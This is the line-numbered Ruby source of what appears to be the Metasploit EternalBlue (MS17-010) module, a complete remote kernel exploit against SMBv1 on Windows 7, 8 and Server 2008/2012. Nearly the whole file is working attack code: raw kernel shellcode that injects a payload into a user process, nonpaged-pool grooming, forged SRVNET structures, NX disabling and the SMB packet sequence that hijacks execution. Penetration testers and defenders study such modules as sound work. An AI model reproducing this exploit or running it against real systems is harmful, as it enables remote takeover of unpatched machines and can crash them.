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1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
require 'ruby_smb'
7
require 'ruby_smb/smb1/packet'
8
require 'rubyntlm'
9
require 'windows_error'
10

11
class MetasploitModule < Msf::Exploit::Remote
12
  Rank = AverageRanking
13

14
  include Msf::Exploit::Remote::CheckModule
15
  include Msf::Exploit::Deprecated
16
  include Msf::Exploit::Remote::Tcp
17

18
  moved_from 'exploit/windows/smb/ms17_010_eternalblue_win8'
19

20
  def initialize(info = {})
21
    super(
22
      update_info(
23
        info,
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        'Name' => 'MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption',
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        'Description' => %q{
26
          This module is a port of the Equation Group ETERNALBLUE exploit, part of
27
          the FuzzBunch toolkit released by Shadow Brokers.
28

29
          There is a buffer overflow memmove operation in Srv!SrvOs2FeaToNt. The size
30
          is calculated in Srv!SrvOs2FeaListSizeToNt, with mathematical error where a
31
          DWORD is subtracted into a WORD. The kernel pool is groomed so that overflow
32
          is well laid-out to overwrite an SMBv1 buffer. Actual RIP hijack is later
33
          completed in srvnet!SrvNetWskReceiveComplete.
34

35
          This exploit, like the original may not trigger 100% of the time, and should be
36
          run continuously until triggered. It seems like the pool will get hot streaks
37
          and need a cool down period before the shells rain in again.
38

39
          The module will attempt to use Anonymous login, by default, to authenticate to perform the
40
          exploit. If the user supplies credentials in the SMBUser, SMBPass, and SMBDomain options it will use
41
          those instead.
42

43
          On some systems, this module may cause system instability and crashes, such as a BSOD or
44
          a reboot. This may be more likely with some payloads.
45
        },
46

47
        'Author' =>
48
          [
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            # Original Exploit
50
            'Equation Group', # OG research and exploit
51
            'Shadow Brokers', # Hack and dump
52
            'sleepya',        # Research and PoC
53

54
            # Original win7 module
55
            'Sean Dillon <[email protected]>', # @zerosum0x0
56
            'Dylan Davis <[email protected]>', # @jennamagius
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            'thelightcosine', # RubySMB refactor and Fallback Credential mode
58

59
            # Original win8 module
60
            'wvu',             # Babby's first external module
61
            'agalway-r7',      # External python module to internal ruby module (sorry wvu)
62
            'cdelafuente-r7',  # ruby_smb wizard
63
            'cdelafuente-r7', # kernel debugging wizard
64

65
            # Combining the two
66
            'agalway-r7' # am good at copy pasta
67
          ],
68
        'License' => MSF_LICENSE,
69
        'References' =>
70
          [
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            # Win 7
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            ['MSB', 'MS17-010'],
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            ['CVE', '2017-0143'],
74
            ['CVE', '2017-0144'],
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            ['CVE', '2017-0145'],
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            ['CVE', '2017-0146'],
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            ['CVE', '2017-0147'],
78
            ['CVE', '2017-0148'],
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            ['URL', 'https://github.com/RiskSense-Ops/MS17-010'],
80
            ['URL', 'https://risksense.com/wp-content/uploads/2018/05/White-Paper_Eternal-Blue.pdf'],
81

82
            # Win 8
83
            ['EDB', '42030'],
84
          ],
85
        'DefaultOptions' =>
86
          {
87
            'CheckModule' => 'auxiliary/scanner/smb/smb_ms17_010',
88
            'EXITFUNC' => 'thread',
89
            'WfsDelay' => 5
90
          },
91
        'Privileged' => true,
92
        'Platform' => 'win',
93
        'Arch' => [ARCH_X64],
94
        'Payload' => {
95
          'Space' => 2000, # this can be more, needs to be recalculated
96
          'EncoderType' => Msf::Encoder::Type::Raw,
97
          'DisableNops' => true
98
        },
99
        'Targets' =>
100
          [
101
            [ 'Automatic Target', {} ],
102
            [
103
              'Windows 7',
104
              {
105
                'os_patterns' => ['Windows 7']
106
              }
107
            ],
108
            [
109
              'Windows Embedded Standard 7',
110
              {
111
                'os_patterns' => ['Windows Embedded Standard 7']
112
              }
113
            ],
114
            [
115
              'Windows Server 2008 R2',
116
              {
117
                'os_patterns' => ['Windows Server 2008 R2']
118
              }
119
            ],
120
            [
121
              'Windows 8',
122
              {
123
                'os_patterns' => ['Windows 8']
124
              }
125
            ],
126
            [
127
              'Windows 8.1',
128
              {
129
                'os_patterns' => ['Windows 8.1']
130
              }
131
            ],
132
            [
133
              'Windows Server 2012',
134
              {
135
                'os_patterns' => ['Windows Server 2012']
136
              }
137
            ],
138
            [
139
              'Windows 10 Pro',
140
              {
141
                'os_patterns' => ['Windows Pro Build']
142
              }
143
            ],
144
            [
145
              'Windows 10 Enterprise Evaluation',
146
              {
147
                'os_patterns' => ['Windows 10 Enterprise Evaluation Build']
148
              }
149
            ]
150
          ],
151
        'DefaultTarget' => 0,
152
        'Notes' =>
153
          {
154
            'AKA' => ['ETERNALBLUE']
155
          },
156
        'DisclosureDate' => '2017-03-14'
157
      )
158
    )
159

160
    register_options(
161
      [
162
        Opt::RHOSTS,
163
        Opt::RPORT(445),
164
        OptString.new('SMBUser', [false, '(Optional) The username to authenticate as', ''], fallbacks: ['USERNAME']),
165
        OptString.new('SMBPass', [false, '(Optional) The password for the specified username', ''], fallbacks: ['PASSWORD']),
166
        OptString.new('SMBDomain', [
167
          false,
168
          '(Optional) The Windows domain to use for authentication. Only affects Windows Server 2008 R2, Windows 7,' \
169
            ' Windows Embedded Standard 7 target machines.',
170
          ''
171
        ]),
172
        OptBool.new('VERIFY_TARGET', [
173
          true,
174
          'Check if remote OS matches exploit Target. Only affects Windows Server 2008 R2, Windows 7, Windows Embedded' \
175
            ' Standard 7 target machines.',
176
          true
177
        ]),
178
        OptBool.new('VERIFY_ARCH', [
179
          true,
180
          'Check if remote architecture matches exploit Target. Only affects Windows Server 2008 R2, Windows 7,' \
181
            ' Windows Embedded Standard 7 target machines.',
182
          true
183
        ])
184
      ]
185
    )
186
    register_advanced_options(
187
      [
188
        OptString.new('ProcessName', [true, 'Process to inject payload into.', 'spoolsv.exe']),
189
        OptInt.new('GroomAllocations', [true, 'Initial number of times to groom the kernel pool.', 12]),
190
        OptInt.new('MaxExploitAttempts', [
191
          true,
192
          'The number of times to retry the exploit. Useful as EternalBlue can sometimes require multiple attempts to' \
193
          ' get a successful execution.',
194
          3
195
        ]),
196
        OptInt.new('GroomDelta', [
197
          true,
198
          'The amount to increase the groom count by per try. Only affects Windows Server 2008 R2, Windows 7, Windows' \
199
            ' Embedded Standard 7 target machines.',
200
          5
201
        ])
202
      ]
203
    )
204
  end
205

206
  def generate_process_hash(process)
207
    [Rex::Text.ror13_hash(process + "\x00")].pack('l<')
208
  end
209

210
  # ring3 = user mode encoded payload
211
  # proc_name = process to inject APC into
212
  def make_kernel_user_payload(ring3, proc_name)
213
    proc_hash = generate_process_hash(proc_name)
214

215
    sc = (
216
      "\x55\xe8\x2e\x00\x00\x00\xb9\x82\x00\x00\xc0\x0f\x32\x4c\x8d" \
217
      "\x0d\x34\x00\x00\x00\x44\x39\xc8\x74\x19\x39\x45\x00\x74\x0a" \
218
      "\x89\x55\x04\x89\x45\x00\xc6\x45\xf8\x00\x49\x91\x50\x5a\x48" \
219
      "\xc1\xea\x20\x0f\x30\x5d\xc3\x48\x8d\x2d\x00\x10\x00\x00\x48" \
220
      "\xc1\xed\x0c\x48\xc1\xe5\x0c\x48\x83\xed\x70\xc3\x0f\x01\xf8" \
221
      "\x65\x48\x89\x24\x25\x10\x00\x00\x00\x65\x48\x8b\x24\x25\xa8" \
222
      "\x01\x00\x00\x6a\x2b\x65\xff\x34\x25\x10\x00\x00\x00\x50\x50" \
223
      "\x55\xe8\xc5\xff\xff\xff\x48\x8b\x45\x00\x48\x83\xc0\x1f\x48" \
224
      "\x89\x44\x24\x10\x51\x52\x41\x50\x41\x51\x41\x52\x41\x53\x31" \
225
      "\xc0\xb2\x01\xf0\x0f\xb0\x55\xf8\x75\x14\xb9\x82\x00\x00\xc0" \
226
      "\x8b\x45\x00\x8b\x55\x04\x0f\x30\xfb\xe8\x0e\x00\x00\x00\xfa" \
227
      "\x41\x5b\x41\x5a\x41\x59\x41\x58\x5a\x59\x5d\x58\xc3\x41\x57" \
228
      "\x41\x56\x57\x56\x53\x50\x4c\x8b\x7d\x00\x49\xc1\xef\x0c\x49" \
229
      "\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x66\x41\x81\x3f\x4d" \
230
      "\x5a\x75\xf1\x4c\x89\x7d\x08\x65\x4c\x8b\x34\x25\x88\x01\x00" \
231
      "\x00\xbf\x78\x7c\xf4\xdb\xe8\x01\x01\x00\x00\x48\x91\xbf\x3f" \
232
      "\x5f\x64\x77\xe8\xfc\x00\x00\x00\x8b\x40\x03\x89\xc3\x3d\x00" \
233
      "\x04\x00\x00\x72\x03\x83\xc0\x10\x48\x8d\x50\x28\x4c\x8d\x04" \
234
      "\x11\x4d\x89\xc1\x4d\x8b\x09\x4d\x39\xc8\x0f\x84\xc6\x00\x00" \
235
      "\x00\x4c\x89\xc8\x4c\x29\xf0\x48\x3d\x00\x07\x00\x00\x77\xe6" \
236
      "\x4d\x29\xce\xbf\xe1\x14\x01\x17\xe8\xbb\x00\x00\x00\x8b\x78" \
237
      "\x03\x83\xc7\x08\x48\x8d\x34\x19\xe8\xf4\x00\x00\x00\x3d" +
238
        proc_hash + "\x74\x10\x3d" + proc_hash + "\x74\x09\x48\x8b\x0c" \
239
      "\x39\x48\x29\xf9\xeb\xe0\xbf\x48\xb8\x18\xb8\xe8\x84\x00\x00" \
240
      "\x00\x48\x89\x45\xf0\x48\x8d\x34\x11\x48\x89\xf3\x48\x8b\x5b" \
241
      "\x08\x48\x39\xde\x74\xf7\x4a\x8d\x14\x33\xbf\x3e\x4c\xf8\xce" \
242
      "\xe8\x69\x00\x00\x00\x8b\x40\x03\x48\x83\x7c\x02\xf8\x00\x74" \
243
      "\xde\x48\x8d\x4d\x10\x4d\x31\xc0\x4c\x8d\x0d\xa9\x00\x00\x00" \
244
      "\x55\x6a\x01\x55\x41\x50\x48\x83\xec\x20\xbf\xc4\x5c\x19\x6d" \
245
      "\xe8\x35\x00\x00\x00\x48\x8d\x4d\x10\x4d\x31\xc9\xbf\x34\x46" \
246
      "\xcc\xaf\xe8\x24\x00\x00\x00\x48\x83\xc4\x40\x85\xc0\x74\xa3" \
247
      "\x48\x8b\x45\x20\x80\x78\x1a\x01\x74\x09\x48\x89\x00\x48\x89" \
248
      "\x40\x08\xeb\x90\x58\x5b\x5e\x5f\x41\x5e\x41\x5f\xc3\xe8\x02" \
249
      "\x00\x00\x00\xff\xe0\x53\x51\x56\x41\x8b\x47\x3c\x41\x8b\x84" \
250
      "\x07\x88\x00\x00\x00\x4c\x01\xf8\x50\x8b\x48\x18\x8b\x58\x20" \
251
      "\x4c\x01\xfb\xff\xc9\x8b\x34\x8b\x4c\x01\xfe\xe8\x1f\x00\x00" \
252
      "\x00\x39\xf8\x75\xef\x58\x8b\x58\x24\x4c\x01\xfb\x66\x8b\x0c" \
253
      "\x4b\x8b\x58\x1c\x4c\x01\xfb\x8b\x04\x8b\x4c\x01\xf8\x5e\x59" \
254
      "\x5b\xc3\x52\x31\xc0\x99\xac\xc1\xca\x0d\x01\xc2\x85\xc0\x75" \
255
      "\xf6\x92\x5a\xc3\x55\x53\x57\x56\x41\x57\x49\x8b\x28\x4c\x8b" \
256
      "\x7d\x08\x52\x5e\x4c\x89\xcb\x31\xc0\x44\x0f\x22\xc0\x48\x89" \
257
      "\x02\x89\xc1\x48\xf7\xd1\x49\x89\xc0\xb0\x40\x50\xc1\xe0\x06" \
258
      "\x50\x49\x89\x01\x48\x83\xec\x20\xbf\xea\x99\x6e\x57\xe8\x65" \
259
      "\xff\xff\xff\x48\x83\xc4\x30\x85\xc0\x75\x45\x48\x8b\x3e"     \
260
      "\x48\x8d\x35\x6a\x00\x00\x00" \
261
      "\xb9#{[ ring3.length ].pack('s')}\x00\x00" \
262
      "\xf3\xa4\x48\x8b" \
263
      "\x45\xf0\x48\x8b\x40\x18\x48\x8b\x40\x20\x48\x8b\x00\x66\x83" \
264
      "\x78\x48\x18\x75\xf6\x48\x8b\x50\x50\x81\x7a\x0c\x33\x00\x32" \
265
      "\x00\x75\xe9\x4c\x8b\x78\x20\xbf\x5e\x51\x5e\x83\xe8\x22\xff" \
266
      "\xff\xff\x48\x89\x03\x31\xc9\x88\x4d\xf8\xb1\x01\x44\x0f\x22" \
267
      "\xc1\x41\x5f\x5e\x5f\x5b\x5d\xc3\x48\x92\x31\xc9\x51\x51\x49" \
268
      "\x89\xc9\x4c\x8d\x05\x0d\x00\x00\x00\x89\xca\x48\x83\xec\x20" \
269
      "\xff\xd0\x48\x83\xc4\x30\xc3"
270
    )
271
    sc << ring3
272
    sc
273
  end
274

275
  def exploit
276
    check_code = check
277

278
    if check_code.code == 'vulnerable'
279
      print_good('The target is vulnerable.')
280
    else
281
      print_bad('The target is not vulnerable.')
282
    end
283

284
    if check_code.details[:arch] == ARCH_X86
285
      fail_with(Failure::NoTarget, 'This module only supports x64 (64-bit) targets')
286
    end
287

288
    if datastore['ForceExploit'] == 'true' || check_code.code == 'vulnerable'
289
      print_status('Forcing Exploit') if datastore['ForceExploit'] == 'true'
290

291
      os = Recog::Nizer.match('smb.native_os', check_code.details[:os])
292

293
      if os.nil?
294
        if target.name == 'Automatic Target'
295
          targs = ''
296
          targets[1..-1].each { |t| targs += "#{t.name}\n" }
297

298
          msg = "Could not determine victim OS. If the victim OS is one of the below options:\n"\
299
                "#{targs}"\
300
                "\nThen it can be selected manually with 'set TARGET <OS_NAME>'"
301
          fail_with(Failure::NoTarget, msg)
302
        else
303
          os = target.name
304
        end
305
      else
306
        os = os['os.product']
307
      end
308

309
      if os.start_with?('Windows 8', 'Windows 10', 'Windows Server 2012', 'Windows 2012')
310
        extend(EternalBlueWin8)
311
      else
312
        extend(EternalBlueWin7)
313
      end
314

315
      exploit_eb
316
    end
317
  end
318
end
319

320
module EternalBlueWin8
321
  MAX_SHELLCODE_SIZE = 3712
322

323
  # debug mode affects HAL heap. The 0xffffffffffd04000 address should be useable no matter what debug mode is.
324
  # The 0xffffffffffd00000 address should be useable when debug mode is not enabled
325
  # The 0xffffffffffd01000 address should be useable when debug mode is enabled
326
  TARGET_HAL_HEAP_ADDR = 0xffffffffffd04000 # for put fake struct and shellcode
327

328
  # because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000
329
  NTFEA_SIZE = 0x9000
330

331
  NTLM_FLAGS = Net::NTLM::FLAGS[:KEY56] +
332
               Net::NTLM::FLAGS[:KEY128] +
333
               Net::NTLM::FLAGS[:TARGET_INFO] +
334
               Net::NTLM::FLAGS[:NTLM2_KEY] +
335
               Net::NTLM::FLAGS[:NTLM] +
336
               Net::NTLM::FLAGS[:REQUEST_TARGET] +
337
               Net::NTLM::FLAGS[:UNICODE]
338

339
  NTFEA_9000 = (([0, 0, 0].pack('CCS<') + "\x00") * 0x260 + # with these fea, ntfea size is 0x1c80
340
    [0, 0, 0x735c].pack('CCS<') + "\x00" * 0x735d + # 0x8fe8 - 0x1c80 - 0xc = 0x735c
341
    [0, 0, 0x8147].pack('CCS<') + "\x00" * 0x8148) # overflow to SRVNET_BUFFER_HDR
342

343
  NTLM_CRYPT = Rex::Proto::NTLM::Crypt
344

345
  # fake struct for SrvNetWskTransformedReceiveComplete() and SrvNetCommonReceiveHandler()
346
  # x64: fake struct is at ffffffff ffd00e00
347
  #   offset 0x50:  KSPIN_LOCK
348
  #   offset 0x58:  LIST_ENTRY must be valid address. cannot be NULL.
349
  #   offset 0x110: array of pointer to function
350
  #   offset 0x13c: set to 3 (DWORD) for invoking ptr to function
351
  # some useful offset
352
  #   offset 0x120: arg1 when invoking ptr to function
353
  #   offset 0x128: arg2 when invoking ptr to function
354
  #
355
  # code path to get code exception after this struct is controlled
356
  # SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
357
  def fake_recv_struct
358
    struct = "\x00" * 80
359
    struct << [0, TARGET_HAL_HEAP_ADDR + 0x58].pack('QQ<')
360
    struct << [TARGET_HAL_HEAP_ADDR + 0x58, 0].pack('QQ<')  # offset 0x60
361
    struct << ("\x00" * 16) * 10
362
    struct << [TARGET_HAL_HEAP_ADDR + 0x170, 0].pack('QQ<') # offset 0x110: fn_ptr array
363
    struct << [(0x8150 ^ 0xffffffffffffffff) + 1, 0].pack('QQ<') # set arg1 to -0x8150
364
    struct << [0, 0, 3].pack('QII<') # offset 0x130
365
    struct << ("\x00" * 16) * 3
366
    struct << [0, TARGET_HAL_HEAP_ADDR + 0x180].pack('QQ<') # shellcode address
367
    struct
368
  end
369

370
  def custom_smb_client
371
    sock = Rex::Socket::Tcp.create(
372
      'PeerHost' => rhost,
373
      'PeerPort' => rport,
374
      'Proxies' => proxies,
375
      'Context' => {
376
        'Msf' => framework,
377
        'MsfExploit' => self
378
      }
379
    )
380

381
    dispatcher = RubySMB::Dispatcher::Socket.new(sock)
382

383
    client = CustomSessionSetupPacketRubySMBClient.new(dispatcher, smb1: true, smb2: false, smb3: false,
384
                                                       username: smb_user, domain: smb_domain, password: smb_pass,
385
                                                       ntlm_flags: NTLM_FLAGS)
386

387
    return client, sock
388
  end
389

390
  def smb1_connect_ipc(negotiate_only: false, session_setup_packet: nil, session_setup_auth_packet: nil)
391
    begin
392
      client, sock = custom_smb_client
393

394
      if negotiate_only
395
        client.negotiate
396
        return client, nil, sock
397
      else
398
        response_code = client.login(ntlm_flags: NTLM_FLAGS,
399
                                     session_setup_packet: session_setup_packet,
400
                                     session_setup_auth_packet: session_setup_auth_packet)
401

402
        unless response_code == ::WindowsError::NTStatus::STATUS_SUCCESS
403
          raise RubySMB::Error::UnexpectedStatusCode, "Error with login: #{response_code}"
404
        end
405

406
        tree = client.tree_connect("\\\\#{datastore['RHOST']}\\IPC$")
407
      end
408

409
      return client, tree, sock
410
    rescue StandardError => e
411
      print_error("Could not make SMBv1 connection. #{e.class} error raised with message '#{e.message}'")
412
      elog('Could not make SMBv1 connection', error: e)
413

414
      # for an as of yet undetermined reason, a connection can sometimes be created after an error during an anonymous
415
      # login.
416
      if client
417
        client.disconnect!
418
      end
419

420
      raise e
421
    end
422
  end
423

424
  def send_trans2_second(conn, tid, pid, data, displacement)
425
    pkt = RubySMB::SMB1::Packet::Trans2::RequestSecondary.new
426
    pkt.smb_header.tid = tid
427
    pkt.smb_header.pid_low = pid
428

429
    pkt.parameter_block.total_parameter_count = 0
430
    pkt.parameter_block.total_data_count = data.length
431

432
    fixed_offset = 32 + 3 + 18
433
    pkt.data_block.pad1 = ''
434

435
    pkt.parameter_block.parameter_count = 0
436
    pkt.parameter_block.parameter_offset = 0
437

438
    if !data.empty?
439
      pad_len = (4 - fixed_offset % 4) % 4
440

441
      if pad_len == 0
442
        pkt.data_block.pad1 = ''
443
      elsif pad_len == 3
444
        pkt.data_block.pad1 = "\x00" * 2
445
        pkt.data_block.pad1 = "\x00"
446
      else
447
        pkt.data_block.pad1 = "\x00" * pad_len
448
      end
449
    else
450
      pkt.data_block.pad1 = ''
451
      pad_len = 0
452
    end
453

454
    pkt.parameter_block.data_count = data.length
455
    pkt.parameter_block.data_offset = fixed_offset + pad_len
456
    pkt.parameter_block.data_displacement = displacement
457

458
    pkt.data_block.trans2_parameters = ''
459
    pkt.data_block.trans2_data = data
460

461
    pkt.smb_header.flags2.extended_security = 1
462
    pkt.smb_header.flags2.paging_io = 0
463
    pkt.smb_header.flags2.unicode = 0
464

465
    pkt.smb_header.uid = BinData::Bit16le.read(BinData::Bit16.new(2048).to_binary_s)
466

467
    conn.send_packet(pkt)
468
  end
469

470
  # connect to target and send a large nbss size with data 0x80 bytes
471
  # this method is for allocating big nonpaged pool on target
472
  def create_connection_with_big_smb_first_80(for_nx: false)
473
    sock = connect(false)
474
    pkt = "\x00".b + "\x00".b + [0x8100].pack('S>')
475
    # There is no need to be SMB2 because we want the target free the corrupted buffer.
476
    # Also this is invalid SMB2 message.
477
    # I believe NSA exploit use SMB2 for hiding alert from IDS
478
    # pkt += '\xfeSMB' # smb2
479
    # it can be anything even it is invalid
480
    pkt += "\x01\x02\x03\x04"
481

482
    if for_nx
483
      # MUST set no delay because 1 byte MUST be sent immediately
484
      sock.setsockopt(Socket::IPPROTO_TCP, Socket::TCP_NODELAY, 1)
485
      pkt += "\x00" * 0x7b # another byte will be sent later to disabling NX
486
    else
487
      pkt += "\x00" * 0x7c
488
    end
489

490
    sock.send(pkt, 0)
491
    sock
492
  end
493

494
  def send_big_trans2(conn, tid, pid, setup, data, param)
495
    first_data_fragment_size = data.length % 4096
496

497
    pkt = RubySMB::SMB1::Packet::NtTrans::Request.new
498
    pkt.smb_header.tid = tid
499

500
    pkt.smb_header.pid_low = pid
501

502
    command = [setup].pack('S<')
503

504
    pkt.parameter_block.max_setup_count = 1
505
    pkt.parameter_block.max_parameter_count = param.length
506
    pkt.parameter_block.max_data_count = 0
507

508
    pkt.parameter_block.setup << 0x0000
509
    pkt.parameter_block.total_parameter_count = param.length
510
    pkt.parameter_block.total_data_count = data.length
511

512
    fixed_offset = 32 + 3 + 38 + command.length
513
    if !param.empty?
514
      pad_len = (4 - fixed_offset % 4) % 4
515
      pad_bytes = "\x00" * pad_len
516
      pkt.data_block.pad1 = pad_bytes
517
    else
518
      pkt.data_block.pad1 = ''
519
      pad_len = 0
520
    end
521

522
    pkt.parameter_block.parameter_count = param.length
523
    pkt.parameter_block.parameter_offset = fixed_offset + pad_len
524

525
    if !data.empty?
526
      pad_len = (4 - (fixed_offset + pad_len + param.length) % 4) % 4
527
      pkt.data_block.pad2 = "\x00" * pad_len
528
    else
529
      pkt.data_block.pad2 = ''
530
      pad_len = 0
531
    end
532

533
    pkt.parameter_block.data_count = first_data_fragment_size
534
    pkt.parameter_block.data_offset = pkt.parameter_block.parameter_offset + param.length + pad_len
535

536
    pkt.data_block.trans2_parameters = param
537
    pkt.data_block.trans2_data = data.first(first_data_fragment_size)
538

539
    pkt.smb_header.flags2.paging_io = 0
540
    pkt.smb_header.flags2.extended_security = 1
541

542
    begin
543
      recv_pkt = RubySMB::SMB1::Packet::NtTrans::Response.read(conn.send_recv(pkt))
544
    rescue RubySMB::Error::CommunicationError => e
545
      print_status('CommunicationError encountered. Have you set SMBUser/SMBPass?')
546
      raise e
547
    end
548

549
    if recv_pkt.status_code.value == 0
550
      print_good('got good NT Trans response')
551
    else
552
      print_error("got bad NT Trans response: #{recv_pkt.status_code.name}\n#{recv_pkt.status_code.description}")
553
      return nil
554
    end
555

556
    # Then, use SMB_COM_TRANSACTION2_SECONDARY for send more data
557
    size_of_data_to_be_sent = first_data_fragment_size
558
    while size_of_data_to_be_sent < data.length
559
      send_size = [4096, data.length - size_of_data_to_be_sent].min
560
      if data.length - size_of_data_to_be_sent <= 4096
561
        break
562
      end
563

564
      send_trans2_second(conn, tid, pid, data[size_of_data_to_be_sent...(size_of_data_to_be_sent + send_size)],
565
                         size_of_data_to_be_sent)
566
      size_of_data_to_be_sent += send_size
567
    end
568

569
    size_of_data_to_be_sent
570
  end
571

572
  def _exploit(fea_list, shellcode, num_groom_conn, username, password)
573
    session_setup_packet = default_session_setup_request
574
    session_setup_auth_packet = default_session_setup_request
575

576
    conn, tree, sock = smb1_connect_ipc(session_setup_packet: session_setup_packet,
577
                                        session_setup_auth_packet: session_setup_auth_packet)
578

579
    pid = conn.pid
580
    os = conn.peer_native_os
581
    print_status("Target OS: #{os}")
582

583
    if os.start_with?('Windows 10')
584
      build = os.split.last.to_i
585
      if build >= 14393 # version 1607
586
        print_status('This exploit does not support this build')
587
        return
588
      end
589
    elsif !(os.start_with?('Windows 8') || os.start_with?('Windows Server 2012'))
590
      print_status('This exploit does not support this target:')
591
      return
592
    end
593

594
    # The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
595
    # Send TRANS2_OPEN2 (0) with special fea_list to a target exce
596
    progress = send_big_trans2(conn, tree.id, pid, 0, fea_list, "\x00" * 30)
597
    if progress.nil?
598
      conn.disconnect!
599
      return
600
    end
601

602
    fea_list_nx = generate_fea_list_nx
603

604
    session_setup_packet = default_session_setup_request
605
    session_setup_packet.parameter_block.vc_number = 1
606

607
    session_setup_auth_packet = default_session_setup_request
608
    session_setup_auth_packet.parameter_block.max_mpx_count = 2
609
    session_setup_auth_packet.parameter_block.vc_number = 1
610

611
    nx_conn, nx_tree, nx_sock = smb1_connect_ipc(session_setup_packet: session_setup_packet,
612
                                                 session_setup_auth_packet: session_setup_auth_packet)
613

614
    # Another TRANS2_OPEN2 (0) with special fea_list for disabling NX
615
    nx_progress = send_big_trans2(nx_conn, nx_tree.id, pid, 0, fea_list_nx, "\x00" * 30)
616
    if nx_progress.nil?
617
      conn.disconnect!
618
      nx_conn.disconnect!
619
      return
620
    end
621

622
    # create some big buffer at servereternal
623
    # this buffer MUST NOT be big enough for overflown buffer
624
    alloc_conn, alloc_sock = create_session_alloc_non_paged(NTFEA_SIZE - 0x2010, username, password, pid)
625
    if alloc_conn.nil?
626
      return
627
    end
628

629
    # groom nonpaged pool
630
    # when many big nonpaged pool are allocated, allocate another big nonpaged pool should be next to the last one
631
    srvnet_conn = []
632
    num_groom_conn.times { srvnet_conn.append(create_connection_with_big_smb_first_80(for_nx: true)) }
633

634
    # create buffer size NTFEA_SIZE at server
635
    # this buffer will be replaced by overflown buffer
636
    hole_conn, hole_sock = create_session_alloc_non_paged(NTFEA_SIZE - 0x10, username, password, pid)
637
    if hole_conn.nil?
638
      return
639
    end
640

641
    # disconnect allocConn to free buffer
642
    # expect small nonpaged pool allocation is not allocated next to holeConn because of this free buffer
643
    alloc_sock.close
644

645
    # hope one of srvnet_conn is next to holeConn
646
    5.times { srvnet_conn.append(create_connection_with_big_smb_first_80(for_nx: true)) }
647

648
    # remove holeConn to create hole for fea buffer
649
    hole_sock.close
650

651
    # send last fragment to create buffer in hole and OOB write one of srvnet_conn struct header
652
    # first trigger, overwrite srvnet buffer struct for disabling NX
653
    send_trans2_second(nx_conn, nx_tree.id, pid, fea_list_nx[nx_progress, fea_list_nx.length], nx_progress)
654

655
    recv_pkt = RubySMB::SMB1::Packet::Trans2::Response.read(nx_conn.recv_packet)
656
    if recv_pkt.status_code.value == 0xc000000d
657
      print_good('good response status for nx: INVALID_PARAMETER')
658
    else
659
      print_error("bad response status for nx: #{recv_pkt.status_code.value}")
660
    end
661

662
    # one of srvnet_conn struct header should be modified
663
    # send '\x00' to disable nx
664
    srvnet_conn.each { |sk| sk.send("\x00", 0) }
665

666
    # send last fragment to create buffer in hole and OOB write one of srvnet_conn struct header
667
    # second trigger, place fake struct and shellcode
668
    send_trans2_second(conn, tree.id, pid, fea_list[progress, fea_list.length], progress)
669
    recv_pkt = RubySMB::SMB1::Packet::Trans2::Response.read(conn.recv_packet)
670
    if recv_pkt.status_code.value == 0xc000000d
671
      print_good('good response status for nx: INVALID_PARAMETER')
672
    else
673
      print_error("bad response status for nx: #{recv_pkt.status_code.value}")
674
    end
675

676
    # one of srvnet_conn struct header should be modified
677
    # a corrupted buffer will write recv data in designed memory address
678
    srvnet_conn.each { |sk| sk.send(fake_recv_struct + shellcode, 0) }
679

680
    # execute shellcode, at this point the shellcode should be located at ffffffff`ffd04180
681
    srvnet_conn.each(&:close)
682

683
    nx_tree.disconnect!
684
    nx_conn.disconnect!
685

686
    tree.disconnect!
687
    conn.disconnect!
688
  end
689

690
  def create_fea_list(sc_size)
691
    fea_list = [0x10000].pack('I<')
692
    fea_list += NTFEA_9000
693
    fake_srv_net_buf = create_fake_srv_net_buffer(sc_size)
694
    fea_list += [0, 0, fake_srv_net_buf.length - 1].pack('CCS<') + fake_srv_net_buf # -1 because first '\x00' is for name
695
    # stop copying by invalid flag (can be any value except 0 and 0x80)
696
    fea_list += [0x12, 0x34, 0x5678].pack('CCS<')
697
    return fea_list
698
  end
699

700
  def create_fake_srv_net_buffer(sc_size)
701
    # 0x180 is size of fakeSrvNetBufferX64
702
    total_recv_size = 0x80 + 0x180 + sc_size
703
    fake_srv_net_buffer_x64 = "\x00" * 16
704
    fake_srv_net_buffer_x64 += [0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR].pack('SSIQ<') # flag, _, _, pNetRawBuffer
705
    fake_srv_net_buffer_x64 += [0, 0x82e8, 0].pack('QII<') # _, thisNonPagedPoolSize, _
706
    fake_srv_net_buffer_x64 += "\x00" * 16
707
    fake_srv_net_buffer_x64 += [0, total_recv_size].pack('QQ<') # offset 0x40
708
    fake_srv_net_buffer_x64 += [TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR].pack('Q<Q<') # pmdl2, pointer to fake struct
709
    fake_srv_net_buffer_x64 += [0, 0].pack('QQ<')
710
    fake_srv_net_buffer_x64 += "\x00" * 16
711
    fake_srv_net_buffer_x64 += "\x00" * 16
712
    fake_srv_net_buffer_x64 += [0, 0x60, 0x1004, 0].pack('QSSI<') # MDL.Next, MDL.Size, MDL.MdlFlags
713
    fake_srv_net_buffer_x64 += [0, TARGET_HAL_HEAP_ADDR - 0x80].pack('QQ<') # MDL.Process, MDL.MappedSystemVa
714

715
    return fake_srv_net_buffer_x64
716
  end
717

718
  def exploit_eb
719
    num_groom_conn = datastore['GroomAllocations'].to_i
720
    smbuser = datastore['SMBUser'].present? ? datastore['SMBUser'] : ''
721
    smbpass = datastore['SMBPass'].present? ? datastore['SMBPass'] : ''
722

723
    sc = make_kernel_user_payload(payload.encoded, datastore['ProcessName'])
724

725
    if sc.length > MAX_SHELLCODE_SIZE
726
      print_error("Shellcode too long. The place that this exploit put a shellcode is limited to #{MAX_SHELLCODE_SIZE} bytes.")
727
      return
728
    end
729

730
    fea_list = create_fea_list(sc.length)
731

732
    print_status("shellcode size: #{sc.length}")
733
    print_status("numGroomConn: #{num_groom_conn}")
734

735
    begin
736
      _exploit(fea_list, sc, num_groom_conn, smbuser, smbpass)
737
    rescue StandardError => e
738
      print_error("Exploit failed with the following error: #{e.message}")
739
      elog('Error encountered with eternalblue_win8', error: e)
740
      return false
741
    end
742
  end
